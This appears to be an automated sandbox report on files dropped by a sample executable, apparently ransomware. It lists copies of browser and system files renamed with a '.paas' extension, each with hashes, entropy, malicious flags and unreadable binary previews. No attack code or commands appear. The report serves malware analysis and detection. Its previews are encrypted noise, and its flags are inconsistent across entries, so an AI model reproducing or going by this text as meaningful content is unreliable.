Preview:	............a.EC}...b..yH..].U.Sd"[...C.[./!O.~..H9..A.z..!.._.I&Z..-..]..E..>...x...I....f.RV...{A....b..y.B:....>..M..7i.=..WU{2/...]..{.L....B...o...K.~nO...L3&.[..9l.D.8<..y..@.?G..f.s q...r...V!^F..\.:.gY..%....5.R...S....(..;....-.t>....sS9.g.s........W.....I.c}%}n.0m..I..Ck\|f.3..........$..Y5.=..;K....H@....2w.....DBhpLI..Tt..`>:R..y...+..=}.+M\X..E\|..\..z.aIi4.a:.y..j..2.G.12.e'\r..UT.c%..9....:........%Z-.rA.N3hfu.?.....B...m).Z..2}..<.....;e....&-.7g...B.Y.7.(I.VB.[......Z..)......+_...=..).....BF.. 7..8f.........5.......$.....e....V.A.r...q[O.".^.j.U....$.X.4D.......+.k..u.:..PC.-..'...m...UN\|0\|; tt3oF.w.*.z.s..9.[.[\|....f.....@.C......(u......;...V4..N../"T)....=...;..C.i!.h..{..S....w..m....iq..../..........R...P...z.jj...f~.El.Kvt,....zu/.Gu...\|..^.ir....u.#N.$.]6..^Xe....:..3....j`s..:I...'...m..=>7;.9.;........\._....G.==.....0#j.W......Zm.A.\|..w...$..+.JA;....:...;O....M.....-:........A.A[}...K.R.?.0.q.$W.P...y.../^4

C:\Users\user\Local Settings\Comms\UnistoreDB\store.jfm.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988789467283355
Encrypted:	false
SSDEEP:	384:ML5Rn1yw/vkvVGRC4953tp3tUK+YHfIZ+l+eFrv79PvpMtHZS:Ch1yw/sERl53tVi8HfIZg+sL7d6Y
MD5:	676A6186A88D80B4600D568E69FB7F44
SHA1:	54685077895AB4917739009A83E0734F3EF43533
SHA-256:	0F690336CEC4B3FF7E264CB0B861FBE6E315B29ED70002B2B2B9637A6BF488F2
SHA-512:	5ACFBE8B34B74DBB49AAB0289DC3F938C922E9DFB5957153F949874BDE68696F95D05B2C13E006B8E5FC183142BC405F7B0119DFA2BB3E4C5FFF0E3CBAA4F4C8
Malicious:	false
Preview:	.....b..b{..]..-...By=).w.h#.C....~.J..../] FJA......\`}eMA.RR..Z.(...f.....X....^a%g...F..aj.^i.].d.=.....Gq.a..........J....n&..t......]....-HE`sA.N..d(...1....:.......UphZhrAY.3o.,H+j....N.....T.5........?...Xv.p..v.....o....-....A...aL.y.%PN..<Q6P.....O...%..e..`.....i.R..uU.'_\|.^rN...YiH.....`.mF;..3.....q..0I)...&..t.h...e.^.aw1.....E......ia.G/..d ..Z..?.T.v&43~b.N3.c.@..<....nbD%u.T..x..A.....\|...'.7..'...".......O.r0>...q.../.H....K}.^U........}{0.\.G...7i4....T.{..hU-..._.$k.I....Z.i....W..^y.i..7...\|:..P.v.].D;MB$......d..e.Vl...Od.{.x....6........w.}.....\|Cm.D.....T.'.x.. ....V.."BgGJ..G.H1.`J..VQ.z..\|9.....^L........2.s..s..%.......!X.....k....p...~..g.@N.!.Ib..#0.."@.kR......<.J.......=9.,..C..wqj.5...@i.. n1./.6....cW.c......9{..[.j........[.;...t...F.B.s..NeG.........`\|3b*['....,...&UTp.TP.u.O........!.H.....MA..$...l)..)}..I..[ :>.\|69..N..AC.!...t.s...6'9nN..!....[/...L.N.mw./.....%.Dy...a.K.~R@..~.......\|....F.g9.

C:\Users\user\Local Settings\Comms\UnistoreDB\store.vol.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.7568399870700261
Encrypted:	false
SSDEEP:	6144:JKRxaJze254Bmdf8FvkbMMuULESa+d+gOrOuWxWk3m+cun4CfYjUfSUXivOYRqii:JXzeKWNlWXR3b0S
MD5:	ED810EA6564FD9FCDB1CB8018D2604B3
SHA1:	BFF814CC7D6ED3CD497D076BFEBB9669442A06F4
SHA-256:	B85AA7FB5058E17E0B15B8D8F06A2887FDA2225CB54E08C4237A51F7BC1FDF42
SHA-512:	1A7E095F054EF2E655F543B6D6B51D7CE8CC2E55C22945A94FEB03A7C2F45BE6D28BED4C12620D6A138FF050E860E80C7F1454FA09B9ED8A23B7733EE5AFD287
Malicious:	false
Preview:	.....[.$.z.f.....A.!.K5.RL..e/......I..Lx..."..=D....a...!.a.H.....$.+..R.....O.l..P.)..4l..D....z........H.^......1..D.[..b.J....O...@....r.c..L.}...3..0W........N!F,..........f]..F...-/..=..4co.. .l..a..7.....P......gl.{..!..x.}u...B1...D....N6x..NPL..d..a..X.j..z.Y..Oj.,....>o.....C+fE..RP/...Pg...,lM.B.^.C.o[..+.Ar.6..?.3?".J.\|......".d...g?.F4...I.....2."..ehp.dF.Q.\|.O....}CX.y.P@Z...A......y.h`.g..D...>..-;C[Sf.<i 4X.,.+.L."iu&...@..n.0..5AI[$R._9(.....J@./%...=.X.#..J.{I..L.#;.9+..5L...V.._b.....<S]Rl.^.j./l0.fpC.s$.6...MLz&F.w.'...;d.)@.5...][.L..,.....)..mH.....M.l...]6M..E.D........p...e......Ig...!x.=p.F.BMQx.}.K].....GBx...G$U..K.:^..Q...j....."\..".,.}kr............I.E.U..93C.3L.2n4...mf;..YR1..J.QWu...i3.g.\|{.J.oLi]...'J.n.2.`.~..gR#.-..z1.......D$n..AjUoFrFS.....X...._....a..1[L....)u)H..7.YsS..i..i....\A.W`..&j.p.O.v..3..a.CE...qD..d."..U.....A..M`.s.I......8..<..u.....i.L...$.BU..A!<-.....d2S......,..

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996271304303982
Encrypted:	true
SSDEEP:	1536:iBSfKUPKdFjHb5s2oLwSjBkFi37ipz4sfufYj0:i8KmmFj75si4u2GJmt
MD5:	730B2BD817628DECE6CDB2ED13DBAE36
SHA1:	2E74F1E1AB0BD13EB493EF68520AF7F27AD9A6B0
SHA-256:	E7321E06E7B3F86EA70171244BE90BCCFC08FC63D74F6CBBA7587521742E1819
SHA-512:	FAC6DE32F6215C2159825BA2D54C0742ED490D99F1EA309CA5C0C7EACDD4C8BC3AAC823D06572E64557EECD0E324FE9E8A3320C8CE032B0CCD00EA079D1007E4
Malicious:	true
Preview:	SQLit.q....@?.a..R.X.I......)2~.K.W..F.Tn..Z...M.LP#.j.Hv....#._...."...K..eW.-.x.q.c7..Z.b 8..C...N.3......R..W./?L.<....^:...M..."k.!4,i;..\|.3..u...J..K]....x...(<.....6n....P.~>.2...t....Rw..\|..x.b..rM...~...<0.,.V.....\|?!}..a..!cqw...:..w.L...-5.. ..+..@)../"..iz7#a.z..D,.1......9..=q"..7..)....c..........+Y.E.......\4;B.fl ..e.u.ON.M\...`....q...RG.,....k..q...FVx.1.?z......P..i...Y....R2..0.Rq.M!v.G.u3.kA-Z..?.;.h..LH".....l]du.>....9.".....4;.w..B..n........5.eS.:/.......o.~~._.\|W!.-'.i0}'6.2.w...x....lN......v..R..gg.J"....j..$-?....z.........{.u.....z.......W....?>..j..Cw..h.DK.R.'.tSgC<G..(j..$%Bwo.C...3].@....'rl...\_]...)..S.....V..!.....K..P!....,..2j....S......Q3...Jg../$R{\=..r.e$...N%.l(.d.@t[........d ......n..d..f...v.F.,>.<...,..CX.6Pw....~xlL..........2..g.......=.1..RV..w...%........~..[.KF.V.\...v. ..n...xu.l..YU..c.E......@.......JLW..~.N.A.....-~....I.D..}.q...i+G...{.<........tn..%d6.......GA...K..Pk.J.....a

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.293152947185505
Encrypted:	false
SSDEEP:	6:Q5ol+D/y/RiQKk0cqdsAIdtHUYuzCjRYP+zFa1yoS/6QGasXFm8pdgU3cii96Z:QwRiQKxcca9jRYl1yN/OS2cii9a
MD5:	6E321F3576AC0D89B303EA3661DF9952
SHA1:	4570825949946495AB72BE70B6DD248913C582EF
SHA-256:	74DA4EF3494CBF7F6CFF9F98A51703151E0E7759B5CDBAF6AA98B53AC8161888
SHA-512:	606EB6611D474773BCF9F9C6D0C6D7B89F1AD821EFA42D35C436D4C4DEBF7BAF5FC553C84C30DFDCB6050439E25661EB0320F0F6B0EFCD64F079DCEEF9A6BCD7
Malicious:	false
Preview:	1,"fu=....wV=9D..wDw .i...(Q....0\|[..&..M.K_y..:.Xl....J.z..W\|'8. .q.y....l..)~....Q@..CL..tA.o....u.%l..K....>......w-......wf...y.qtL)..vTuS......%U.....7.(...wA.r.....K.k.n.\|..&2.'_O.V..M0t^b.....mQ...+.^h...O<.wF....%m...;.1..$...=."#2....af..!...M..d.XLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.791671297878264
Encrypted:	false
SSDEEP:	24:hpkX3LuvGkFyogPaTWNg9ScZ+5tu4+CsFtWIRY/x1VDmgle94dHJJHLTGnVbD:r43iv9dkaT0g9ST5MCGQIG/3JmCJRnG9
MD5:	7F7A33957689E09FEAA462B8BFD0C31C
SHA1:	EFDDC88C0027F0BAAB56BDD544DAF378E6E46735
SHA-256:	A0456BE11B2A00BC8543DD4850A7C96AA901D7830BED1F08C032C41511D59617
SHA-512:	F087822BE269CD04FBCB04605790874D6AA36D7F6E57C8D142C04B24CBF96EFFBDF7C8217AB990EF30E74E632CF8518C9430200B172E8209709A8BE61258B89F
Malicious:	false
Preview:	1,"fu0".+.!..}.c.....v%5Ey.:..JY....!..-..@l.....3j...0.L4t....f...F...\|.....60~.o...-.......PMC.y.......Ts.A.@U..j........D7J>...\|.....p..s...'.+.....!..%....?J5..>..K..".K...2).}...!.;.1...fl..1.D\....<.@..G...f.emh.N..2.....C.n&x..4..x.....>$&"..mph........5.Olw..h..@...~FQ.?..CU.b.8...!........0O4.&.H..[...>..K.(.o..z1.f=M..^....nq.........c.O#...u..D1.....K...........k.;..7.+i....G..]..0\x....e.......b.1....8.s/.57.."M&..h..?{.;...:.......p..8..vG....2...-.A...l.)I0n.........:..\|.y<V..S.[..\|..cx....r........#.+.........J..g.NPq.....T'x...\.b.c.9R..1J..x.'n.D..t...?.Zg@.........Kx...&2?...`...!..p..Y.R...l.7M.-.w.!...0.L,W.j.e...v..........;.e`"..v.X.../.L..*......U.ll.\|Y........\|$........q.u.\|\|.."...C.0.....x;o. ..]......R..nz.$D....L.^......$...tVd... K....Z....:...O.E..!../..T~.Jzs......uC ../.....e![.......j..$.S.n.\|[...-....p.O.Z.!Z..O..`..3I.$'R(....k..n.1..P.....RH.....cm.t"..F........7+{f)..rnQ..........!..0.. G;....

C:\Users\user\Local Settings\Microsoft\Edge\User Data\CrashpadMetrics-active.pma.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.990405951670181
Encrypted:	true
SSDEEP:	384:5+J2gOlHr9B7uNI8z17/JTymxe/HQfzYIVfZBsY+Xg2QF:AAPxr9YNI8RIvHQf9xZ2Zg2U
MD5:	34269371F590F56882553B349A1B9886
SHA1:	790F232E7786D37B962AC8309229F2403D19AA77
SHA-256:	34CA8EE21C65C26EF29E8A9B5EC6615455FFFB1DAA41A12CCA239135E19518C9
SHA-512:	27EC09CFE3B2800EF56297DF09D1EA0803151B07C75A714A936A2A6F463CDAC4FD022C00AF9FFF6894970CE5E392BA98C2EEB8C34D28895D7791AD5940770F8D
Malicious:	true
Preview:	...@.u..M9N.].qI...bz......Q..R8.sb.6..$j7.+..w]X.M..\|4X'Mct....j....>......P.F.,....k.L.W..g...H..n. ri.+E.:q....0_.k.n[....~.o..uqm..>..z..q8..(.<..o........c..w.<.Z.>../y.....O3.....v...X.C..I.>a......`]X...AK...^FD).....&.....\..g..D.!.@V.N.....D9t%..9..'.^.K<\o.M...p.....F.y...f....)=.....&h.....6.L..<,..m......B.x.k.{c.....d...b.....S...N.....0&..t..,6.9v.<..C...k.0..#..d.!......:e..B..R...>.e..;Z..~.......s5v.{......"..a..x$......%.<....v.).........9.....;.......+........XS.......[M..Q...f..0..>......$y...@....Dn.@.4...L..D#..q.....X.......\.w.N%..k;x..Wp.3..tei/....)....Fc.X..)0z...0.0O..a+.`..:..&g...L\.....g.....K..;."Gy.....?..........}._.\|k%.'..(2.6.w...'<..`Y=b.;eI...W......U.<X..Z....Y...4..jwV......X(.....i......tgI.%..?#^.S...B.$ml....6-.....'c.........ev..H'[M,...\..\|0........v...Q....,..QP...aU.4@8.#...m...........@..m...w.}.0m.....y%...Q.G..3.A.+...\|.....e.0....y..x...!......d..I.....Q+S.=8..C.4..u.+...;C.3h..j..m..M.z.>

C:\Users\user\Local Settings\Microsoft\FontCache\3\ListAll.Json.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.978216187611818
Encrypted:	false
SSDEEP:	3072:rHy+9io1Wcq4h6kORzXix3mWJsvs1E1bQOwRUF5bHVHqZ:rHNxcHtzXyWWJC1bQOOWI
MD5:	E3D6A6752C6DE90DBB32E0549247A3DC
SHA1:	62484244FD00EEA7493720A84976396B515829E3
SHA-256:	31EA128BDE1A30824394DC1A849818D57EDE6324D7CC28C8F5EC1BF1C18D8A9E
SHA-512:	836EBB0613AF09A56D9ACBC42D5DD072F1C0933A52A1152138B903B6D3874CA20D2A7E40F9F22F0CFA4E0DC4CCE79F8B1CF6C638196304CEC8B99532D1800472
Malicious:	false
Preview:	{"Maj..1.?.>k....NP..0.U2...Z.=G...z~...R<....`B.............O..@..W...&. x....w.@5.t........ .P.......x..n..T.e.6...r&...D..v;r).0.....j..;.Ap.\1.... ..A.i..G.....q1maF..W/..}-.T'.2..A!...1.@....4..1...f...58.<-a.v.=.N%.........S.Y].[e4.ag...%..f...\x..(A......_.[.7....&...%.1...&......\.^.....3#V>q.ffmc.Jl..+_.)....?..GX.G_....4F.g.#.(n...r....7bh...<.{.8Q.l.1.....6..ge..\bMJ4.P.....,...A.>^.N13..#...p..........('..yc....Fyc.!.l.~...EE^'YPvy..`._.0W.g.....~.E..t.aM.H:...&.t....I\|F@..NUc.+K#v....Jd.S.$Bw........t..KG.[xi.5..9..N...*.['.4V..z.9..3.u.O..s.~.H.{...;._..2HG-<..`/../.j...G..gdq.+.^.+.9)..... ..d...l%..3>.V..~.i$.)....q..Q.?Io8.R1..5E..2\#.......f..I@...Z^0{..].$..C.s.Vnn.S....J.so\|=...e..g..2....~X... .V ...#.w...p..N.q....&...E...>../.x4Q.1w..u..=.f...~..^.@(.....4.M.a.W$.6..i.8JE....~dt..l....sW_..+r.....K....,.D/..k;.6.p,..sJN..J..%y..x...?by.H...l.:..%K.{..$.`....`z.E...L...a4...%0A.I1..V.a\.S9......r.ip@0.`j+...OP#7..

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.90767699762289
Encrypted:	false
SSDEEP:	48:bb8JjH4Oe7Ld2RU0t9K7L+em1dCrnfTgUuklGkm1WGCD:0hY/3d6N9K3nACrnfZu3kh
MD5:	AD2FE6D1FAD95D9AD70E9188C4180A24
SHA1:	F52C81698FE886C005ECDB057B1312881AF7B50F
SHA-256:	C15CE9A692D4A66A4D6A27CAC061C2E97392BFC02271C4D2290E7A735DC9E7B9
SHA-512:	928CD323FAAA7C89FFB29A477411294D8A4D2047AA0BF6F42338CBB0DA0A627C7E90228EE333FC9131FD4F57C14FF1DB2D6D22CF2A0909FC215454E2D0580A00
Malicious:	false
Preview:	<?xml..5.x..T.PG.@\|q6......v#..^..#.J.1....%..7..7.b.............b:..+.M.a.C....1...-.WA..$..!+.w.G....:.....p;.X.a...4..\|S>.j}Za$..3j..M\$.:z..iC2.%...VO..?....!.N..e...pM.,._4.`...9...>..-..F..<.+..>JK{Nk9...r....]wf......z..t0$%E%.f..8x.8&..v3.0G\..h.. M...E.F.Gs..e)B...4Zj....lX!.._]....[(.S....e.~......... /t.bo...'..v ...,?.'.....t.&;...r...O...8...\|U~8[.2..Z..x...F..^.:I:..UX.\.......}^;..uX....%.......L.......U`..Z.eVR.P7N.LY.....J..A.d.L...G.a^Q..Z\|..v.G.w.@.V..HQO.;.iU.-..}n..}I/..LM3.....z.2_.....U..>_.R@......4..=...Pm.mZ..(.....?..ls.x@..c.Y%...g:.^..djq.A^.k........(j....$......{...0.$...u....&lG..U.3;..A....w....:..0w.\|..(.q.c......~.B.......c..<.....M .=..y.;...-....r(\..D.S...o.dW.f...4.4...0...k["..?h@^..."...7....`..W.........d.n....\|D..1..MJ...q./l..!I.{...g..LX..2....g.5.7..5B.>......KFi.<.....s...j...%..V: .T.n...x$ ._.p%. .I=%.p.s?.(}E..LC..D....n.....T..6......h..9.:......ROh..."..f....w3...e..6t.Lr.....7

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975714432839818
Encrypted:	false
SSDEEP:	192:87FfTkimoEt/gxuPe7TBEI+xv+hUGRM3ffP8KZcRmEjm:87FrXmoUMuPe7SaUGRM3ffP868m
MD5:	644DB958E89997DE940E399B68B002F3
SHA1:	840F21BCF518B063A98709124F11AD5E02514D19
SHA-256:	D30A58529FA67969AF637166B9477143C8B0383D98416AE4C35A45A281A3F387
SHA-512:	D7BE22B70D7A195449D9A4F3B482F5F55028F6F8D5117D438A5EBC9CCFA5DEE26C867758F011A563E1956CF1DFC6095C0EF24783A03240FA3691CE2162CEC8F7
Malicious:	false
Preview:	A......3........X....u-_...........`.....x}..@.....2@I;.I..l...r....{.X..%...x..n.4 h.TL0.$..?5...<$..{.../......`3...n..u..T(L8QN...j.....~%^!.......^....j.c..Ie.F."\|m....o.+.ET........<r...T..[?q..3.z+.m......G...Hm.x.\.....X:.p.OM...:1R.3WW.z\..Q..#.w..5...UZl..6..~X.N,..Q....pE....p..<.!q...z....?....Z..:{.c...(.`.m....;..}.O.Yt.......\|.5!....._9Fb.H.~.G.....v>(.`e.........-'9...Ny1.]..YP......\|..z.>.'..k.t..^2.jP.?q........3x.X..\|...G<.fe.(.8e.+.E.=\.d...?.......Hv..0.L......t#...</.....1.%[6..v.U..Pw=.v.._1..o.7AE. ..I.O..bb.....'V..Dp.B8.......h......eY!..e8.6.$D'.i6.O..D..=...^......Tb..".<yL.+...#.Dl...>.SrK/'.u84.m.s.<]h....CR.d.t...[ ....'.V..cA..<9..,..?...)x..p...2{...<.,K.....(.....^X...5^.Wc....N..u3S..{.1j.......9..!HD:........_.@..=_..o.d...h.U....xb......W_.m.k}v..0....rO.. f.i.....k..>......'.Qf...S_..%.t<W..o.^..e&...9<.T.......&p.u....0.$.:u_..r....7G./o....J.h.../...<.....elB...5m.....c&/}...1..~..R...D...k2}..",r

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.010445495443673
Encrypted:	false
SSDEEP:	3072:xN4aVQPhQeZBNT2bXvLCvMzjH9rJaBTnIcLDNOT7VRPDkSSnLRrR7tcIN8YymxWn:xmayJQ2BNT2zvjqTRHBW
MD5:	19B285D5032CA591198DB51493517F75
SHA1:	46B7B5314EC1625718D039EDD24EFD0682AC47CC
SHA-256:	576CFA5F9A08B0BEAEA7731935C7584A770FE7870524506E696E3DF655A68666
SHA-512:	725BE2E1DFECFF14A03D457CF29B0E98A3C38EE51618D8AC257D22F91FAF5E12C5AA7CEBB8B5941062EF7123C7CCB74ADAFA23E23D3A86A25ACE93A0DE0E440E
Malicious:	false
Preview:	....aw.@.k...{..x.........M..:...5,.L..D.k......fJp.3..V.v2.C...Q...(...;...SD..u.(.(..4XR......;qX.o}.j+.......#.:...E@b...R.L..};~.>%..[.Y........s.H....Ht>..WMcMr.X...v...)4A4...M....+..3....$.T-...\|.(..@.....?...T."^........)..lkW...<4]../.J...n......&..#..I?[.l...Io.r..N...Q.M..R.%.C..........J^v..............>..B6......m/$..].....&..$A.H...4w'L../....'wN........WZ\|tC.V.'G...........A4a....1`.I.r...9.0+RC..z...O..A.9R.\.%\........../..u.W..4C.`.J.t.4Udx%..C.\.......X...Z"./.p...pQG.h...M{\| ...=....p..I......U..H...)...H..h.M8..cd....x...,..19.....X.6IK%..O1....^...oe`.@.O.~. ...\..)...Y...3.!&...,....jZG...N.3...Jol..%.A:.6x..x8<..P....q.pU...f..y.y....k/..z....c.#.m+.o.`T....??}y.S.8h..G.....Q.b.v.gt#..0s...?h..k.......^..-J..9..M....M.<.o5..%..S..)y..oF.\|........2.m..z.0.)>.....V.]t].}.V.F.CY.`.#..Yh.6...5...M@...9'.1.n....$.6F...m!@.~UPEMc..K...........D....}.I.:......... ;w....y.l.2...1C.p5../B...9:.K.I!...E..U.l........E.#

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208182130972315
Encrypted:	false
SSDEEP:	3072:X1tXR427j9ViEF4IQkyBswlq/fcvZgnlNavIoR3UtV7WSjbkb:XaUVZFMswlDZ4lpw3UtVy6A
MD5:	A6616305BCC6BD77D547BC6EFE17664A
SHA1:	F310139ABF67CF070D17E5FE1BFC923D6990BFA2
SHA-256:	B9F7E14C157562594EB489317D771625E604B0AC2DE604DC16F01F5CBE0E92E7
SHA-512:	A3549811EC8DA2794892FF506EB1D2E0DAC6718B3F928E2D9B520CE07E476BB30F6AA46FD3B7DAD4324A631208173614B15C6F752F6D536A75C29F13EA1FFB9D
Malicious:	false
Preview:	......... ...:...p..>..Z.6'HH.6\|..P1..K+...2/.a.....b..b..C...<....K..!..yf.g.V..v..P......(.W...rz..Y..EZ..Y8.:..Y...].....+..;.G..........v..Q<\|..[3N......;5....]........y....\R1...r.%r!U..9.T.D"{..:..@....ao.1CEQlz$!.^:2....h.6.....fo.^..#........6o......fZ.I...v0.y.......a...px..........S..r+.!1..&.w...r;...X.B.g.h.J. .V.o...-..Q. .Jo......9.Ek...</.5%....F.^Q$e7..m...c.Ns.c.....D..#..S%.7%.P.E..,..@!8.b%Q.9...V.x.+..9c......M...aj.%Z......(iR^y[.y3v. ....g..5/<n.i .....x.TY._.,.y.R..(i..@.......AD..G..@..!9...=c.A.....R!JG...B.:f.5..S..\|5....+._.$...I...........c8B.)-.U.2.9".8...`H..M...P...(..y......!..k.....H..q>..V".y.%..k".[.....$.=.#.....c...xef..G...Ns..`.f... ...4..al........L.....vM...z\T..). .?...x..o.).Q..Lm..7..y3c2.f.GBcS.L.Y.-D..a.].J.8<...%.X..C(....$~VG.;;Zx..w.).l'.4X>...:.?........=.-F.D..$....`'YZV;..8GLX2......O..?]Z...Pm..(........hgW...........e......"s.J.F.:.}N%~\7.".7U.<..z......Z.M....../@....t..u.P.(7-

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2079958595403717
Encrypted:	false
SSDEEP:	3072:ay/PEfddToMCuRB6na5cATgffV57qvNZyA9I4SVPgQ78Q5g59:ay/sFB5RYFv7qvNsAfBQwQ5a
MD5:	E760121B5F8DA4325CF091CBEF7D6142
SHA1:	1DD9B18B449CD28576FA097761C09A7823972D66
SHA-256:	8B1D7063DC50B874544710C0247D831224FB60CEB30735EC49DDCA84F93FA21E
SHA-512:	6AD0014FDC324B2821A26283865606E7D8393126ACE6E39FBDD7B74709291AAA20E4C979D06C995750B7B4555770F757382774DE9A8885148D886AE6A581ED2A
Malicious:	false
Preview:	......!..C.....a(j;e..YEn.O...<..A7..{.'.u.U.]J..7._?.]....U...,..b.../$W..S..0G..E.q.y6...fO.w.4.V.....?I..N.s5"O.8.).k....."..[.N.P...c.Y.P.D..-..H..1.B~.>d..1...'.H..\.......S+h..N:....X.XX..I$mqek>..L.Tj.h..6r..b..}.e..:q...Mk.,..\9..1.'..C(..%......<..[."J...\|.K.E...Zy+...H...U....`..9;.......#i>..eI..ev.1?.[0.o..C.3.L...sJ.........S..@~...jV.1&.VApxu(i:TKK..#>"......L.Wxx-G!Ie....b....p..;...$.Ijy.!..DK..k}...Y...X..K.vJ.[!...x.~..PFX....U.js...D'%...zd..!7)..O`..Uks.rq^:D..`;..u.o.J.......sd->%...?0......5X.$..........SQE(..fq/.`...J9-UKn..2...a...A....xD....%..8>S.%...N....,..L.+p1W.?....v.R.<e..I.@...J.~[.B.j.S.J.7. .....=.2.../.:..F...../.w..#..&}K-.8(0f.$.+.L.1."w.....r...\.Sn..l.....l..98....nTi........2O ....Sz\|&.Y...e..k......%.....AG#aw....u..HD...i..........M....9......6l...Ti.O........V..#.Tp....L..'.,9.V....W.Tf...L..w..T.....a8..k?.fT.(...2.U./..<>/[.K3.....MA..1..[K...p.)..q..L.$.;..35.g......l..h..8.^5w..v>..;+nt

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207340756766185
Encrypted:	false
SSDEEP:	3072:yHCvVHShwuH3O1ZNPyFprJ/cc3hQ/udGo/QWu6/Vb9O/L:yivVHoB+zNP+prJ/cqhf4o//v/3KL
MD5:	0D9AE06ECD8D6A808CDEDFDCDA66D7E0
SHA1:	04E7B13BBCB77BAD244FDE84A8C35DE9DCD375D9
SHA-256:	8BA6DD77BE91032A3FC9749F96876E5D90B07AA58C59DEEF72CEBBC5B972F961
SHA-512:	F60B1FB9832C3CD3CE1728AC6F2AA25B723DF10BE54C557CE5B66B83E3FFF983E9D35359CF863025C22B1A16664DD01A98EDDB9757DF2F697E841434E19191FA
Malicious:	false
Preview:	......eN...WS"h.]ya..g.....t.q...(.)9Q__.,.o~S.G.f...9..A.....t......ML bNv..g._(..a..n.2..9F..J.d...).O..h....'S...B.....>.....A.......Y...5..+..0>.us.......s...(..w.......f....nM.c...5.....MK.Wq.X...p...>..MP.s_.{....sO..P.-?.'.rU.\|..U.S........q#.@:~....s...=.......N2w......B..J)d..yjw.N..6.fu.[...v...R..5.vr.<.9......G....;..5.Z..8..q.....\\........?..."...<.."R.r8.-..ue.....J.O..r.....zo...K..;.rKcj.D.obj.sS..g.A.F#.....M16..\|i.]W..r..\|5.0.qzI....=Uq..9..?,../X4..6,Q....}.3].=yd.Y.......rZ..B.2.'..0...m.J.ukK)rGB.........TP......n>..an...8....R..f.4O.qDI..Y.A+.........K..m.Y5...O...".f.+....VT.V.-.+Q7...1?....V&..2E..`<;nD ....Y.9.q..Y..n......]..H...9e.v......8.q.36.....K.A_%....ir.N..`b..s..o..:....yI..).'..;...Z..:E%...I.'m.4.Rr\|...._.....<Q0.OZ..M.,(..vD..9.....z-.W/.Xp.Zox.Zr.-.S...K..t[.4RD...b~1....n._.~.......w.8+.%...........s.Y....X<...I..GS...>&...n..`.V..Ef.z.HN.a..pD.J.}...))L..Ik..,.T...F.....E..G..Am...[.5...8.C..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.944581976389828
Encrypted:	false
SSDEEP:	96:VyYaW2Rnec2/I+LDDjRIkehSi4NnzWNJ0we/:1aFRnNkH5IkLWv0P
MD5:	6D6FADE6D629727D65B9A035B0D005AD
SHA1:	4DD25606B8257C963FA3D8F40C2240A308B14E11
SHA-256:	C8A077DE70E8F550EDF09C43CA92925D7D8B31AAE32E69656D3410EF0C0E80BC
SHA-512:	727BA4A51534453A1D66DC9764A8864ABC3AA7399E3369DCAF43F7F9C010831825AB2DB68329BD8CC9D4CF0808D4850FC7EF0978BD94452ECACAE72519C7DFE1
Malicious:	false
